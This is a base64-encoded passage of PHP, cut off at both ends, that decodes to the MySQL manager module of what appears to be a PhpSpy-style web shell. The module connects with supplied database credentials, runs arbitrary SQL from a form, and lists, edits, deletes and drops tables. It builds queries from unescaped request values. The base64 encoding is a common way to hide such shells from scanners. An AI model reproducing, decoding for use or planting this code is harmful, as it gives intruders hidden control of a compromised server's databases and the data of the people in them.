teXNxbF9lcnJvcigpKTsNCgkJfQ0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgnPHA+Jyk7DQoJcCgnREJIb3N0OicpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7DQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KCX0NCgkkKCdyZWNvcmRsaXN0JykuZG9pbmcudmFsdWU9YWN0aW9uOw0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KCSQoJ3JlY29yZGxpc3QnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3JlY29yZGxpc3QnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIG1vZGRibmFtZShkYm5hbWUpIHsNCglpZighZGJuYW1lKSByZXR1cm47DQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCgkkKCdzZXRkYm5hbWUnKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoJaWYoIXRhYmxlbmFtZSkgcmV0dXJuOw0KCWlmIChkb2luZykgew0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCX0NCglpZiAocGFnZSkgew0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCgl9DQoJJCgnc2V0dGFibGUnKS50YWJsZW5hbWUudmFsdWU9dGFibGVuYW1lOw0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjw/cGhwDQoJLy8jKysmIzExMTg7K3wtKw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCglwKCRkYmZvcm0pOw0KCWZvcm1mb290KCk7DQoNCgkvLy0mIzEwNzM7fCYjMTA4MDstICt8KyYjMTA5MDsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoJLy8tJiMxMDczO3wmIzEwODA7IyYjMTEwMTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOw0KCSRwYWdlbnVtID0gMzA7DQoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOw0KCWlmKCRwYWdlKSB7DQoJCSRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07DQoJfSBlbHNlIHsNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCgkJJHBhZ2UgPSAxOw0KCX0NCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoJCWRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7DQoJCS8vKyYjMTEwNTsrJiMxMDczOy0gK3wrJiMxMDkwOy0rLSYjMTA3NDsNCgkJJG15c3FsdmVyID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7DQoJCXAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoJCS8vKyYjMTEwNTsrJiMxMDczOy0gK3wrJiMxMDkwOw0KCQkkcXVlcnkgPSBxKCJTSE9XIERBVEFCQVNFUyIpOw0KCQkkZGJzID0gYXJyYXkoKTsNCgkJJGRic1tdID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsNCgkJd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOw0KCQl9DQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBzZWxlY3QgYSBkYXRhYmFzZTonLCduYW1lJz0+J2RiW10nLCdvcHRpb24nPT4kZGJzLCdzZWxlY3RlZCc9PiRkYm5hbWUsJ29uY2hhbmdlJz0+J21vZGRibmFtZSh0aGlzLm9wdGlvbnNbdGhpcy5zZWxlY3RlZEluZGV4XS52YWx1ZSknLCduZXdsaW5lJz0+MSkpOw0KCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCWlmICgkZGJuYW1lKSB7DQoJCQlwKCc8cD4nKTsNCgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsNCgkJCWlmICgkdGFibGVuYW1lKSB7DQoJCQkJcCgnIHwgQ3VycmVudCBUYWJsZTogPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcpOyI+Jy4kdGFibGVuYW1lLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ3N0cnVjdHVyZVwnKTsiPlN0cnVjdHVyZTwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXScpOw0KCQkJfQ0KCQkJcCgnPC9wPicpOw0KCQkJbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KDQoJCQkkZ2V0bnVtc3FsID0gJyc7DQoJCQkkcnVucXVlcnkgPSAwOw0KCQkJaWYgKCRzcWxfcXVlcnkpIHsNCgkJCQkkcnVucXVlcnkgPSAxOw0KCQkJfQ0KCQkJJGFsbG93ZWRpdCA9IDA7DQoJCQlpZiAoJHRhYmxlbmFtZSAmJiAhJHNxbF9xdWVyeSkgew0KCQkJCSRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsNCgkJCQkkc3FsX3F1ZXJ5ID0gJHNxbF9xdWVyeS4iIExJTUlUICRzdGFydF9saW1pdCwgJHBhZ2VudW0iOw0KCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJfQ0KCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoJCQlwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7DQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCXAoJGRiZm9ybSk7DQoJCQlwKCc8L2Zvcm0+Jyk7DQoJCQlpZiAoJHRhYmxlbmFtZSB8fCAoJHJ1bnF1ZXJ5ICYmICRzcWxfcXVlcnkpKSB7DQoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgew0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KCQkJCQkkcm93ZGIgPSBhcnJheSgpOw0KCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQlwKCc8dGQ+RmllbGQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCgkJCQkJcCgnPHRkPktleTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCgkJCQkJcCgnPC90cj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRmllbGQnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ051bGwnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0tleSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snRXh0cmEnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJdGJmb290KCk7DQoJCQkJfSBlbHNlaWYgKCRkb2luZyA9PSAnaW5zZXJ0JyB8fCAkZG9pbmcgPT0gJ2VkaXQnKSB7DQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KCQkJCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCQkJCQkkcm93ZGJbXSA9ICRyb3c7DQoJCQkJCX0NCgkJCQkJJHJzID0gYXJyYXkoKTsNCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzxoMj5VcGRhdGUgcmVjb3JkIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCgkJCQkJCSRyZXN1bHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIExJTUlUIDEiKTsNCgkJCQkJCSRycyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJCQl9DQoJCQkJCXAoJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRzZWxmLiciPicpOw0KCQkJCQlwKCRkYmZvcm0pOw0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCQkJbWFrZWhpZGUoJ3RhYmxlbmFtZScsJHRhYmxlbmFtZSk7DQoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoJCQkJCQlpZiAoJHJzWyRyb3dbJ0ZpZWxkJ11dKSB7DQoJCQkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkcnNbJHJvd1snRmllbGQnXV0pOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkdmFsdWUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHJvd1snRmllbGQnXS4nPC9iPjxiciAvPicuJHJvd1snVHlwZSddLic8L3RkPjx0ZD48dGV4dGFyZWEgY2xhc3M9ImFyZWEiIG5hbWU9Imluc2VydHNxbFsnLiRyb3dbJ0ZpZWxkJ10uJ10iIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NjBweDtvdmVyZmxvdzphdXRvOyI+Jy4kdmFsdWUuJzwvdGV4dGFyZWE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9Imluc2VydCIgdmFsdWU9Ikluc2VydCIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGRhdGUiIHZhbHVlPSJVcGRhdGUiIC8+PC90ZD48L3RyPicpOw0KCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdGFibGU+PC9mb3JtPicpOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoJCQkJCWZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIHsNCgkJCQkJCWlmICgkcXVlcnkpIHsNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KCQkJCQkJCXN3aXRjaChxeSgkcXVlcnkpKQ0KCQkJCQkJCXsNCgkJCQkJCQkJY2FzZSAwOg0KCQkJCQkJCQkJcCgnPGgyPkVycm9yIDogJy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMToNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7DQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7DQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7DQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoJCQkJCQkJCQkJCWlmICgkaW5zaWRlKSB7DQoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsNCgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsNCgkJCQkJCQkJCQlwKCRiMSk7DQoJCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCQl1bnNldCgkYjEpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJdGJmb290KCk7DQoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJCWNhc2UgMjoNCgkJCQkJCQkJCSRhciA9IG15c3FsX2FmZmVjdGVkX3Jvd3MoKTsNCgkJCQkJCQkJCXAoJzxoMj5hZmZlY3RlZCByb3dzIDogPGI+Jy4kYXIuJzwvYj48L2gyPicpOw0KCQkJCQkJCQkJYnJlYWs7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOw0KCQkJCSR0YWJsZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOw0KCQkJCSR0YWJsZWRiID0gYXJyYXkoKTsNCgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoJCQkJCSRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOw0KCQkJCQkkdGFibGVfcm93cyA9ICR0YWJsZV9yb3dzICsgJHRhYmxlWydSb3dzJ107DQoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOw0KCQkJCQkkdGFibGVfbnVtKys7DQoJCQkJCSR0YWJsZWRiW10gPSAkdGFibGU7DQoJCQkJfQ0KCQkJCSRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7DQoJCQkJdW5zZXQoJHRhYmxlKTsNCgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KCQkJCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOw0KCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCXAoJGRiZm9ybSk7DQoJCQkJcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsNCgkJCQlwKCc8dGQgd2lkdGg9IjIlIiBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+Jyk7DQoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOw0KCQkJCXAoJzx0ZD5Sb3dzPC90ZD4nKTsNCgkJCQlwKCc8dGQ+RGF0YV9sZW5ndGg8L3RkPicpOw0KCQkJCXAoJzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsNCgkJCQlpZiAoJGhpZ2h2ZXIpIHsNCgkJCQkJcCgnPHRkPkVuZ2luZTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5Db2xsYXRpb248L3RkPicpOw0KCQkJCX0NCgkJCQlwKCc8L3RyPicpOw0KCQkJCWZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7DQoJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMiUiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idGFibGVbXSIgdmFsdWU9IicuJHRhYmxlWydOYW1lJ10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRGF0YV9sZW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ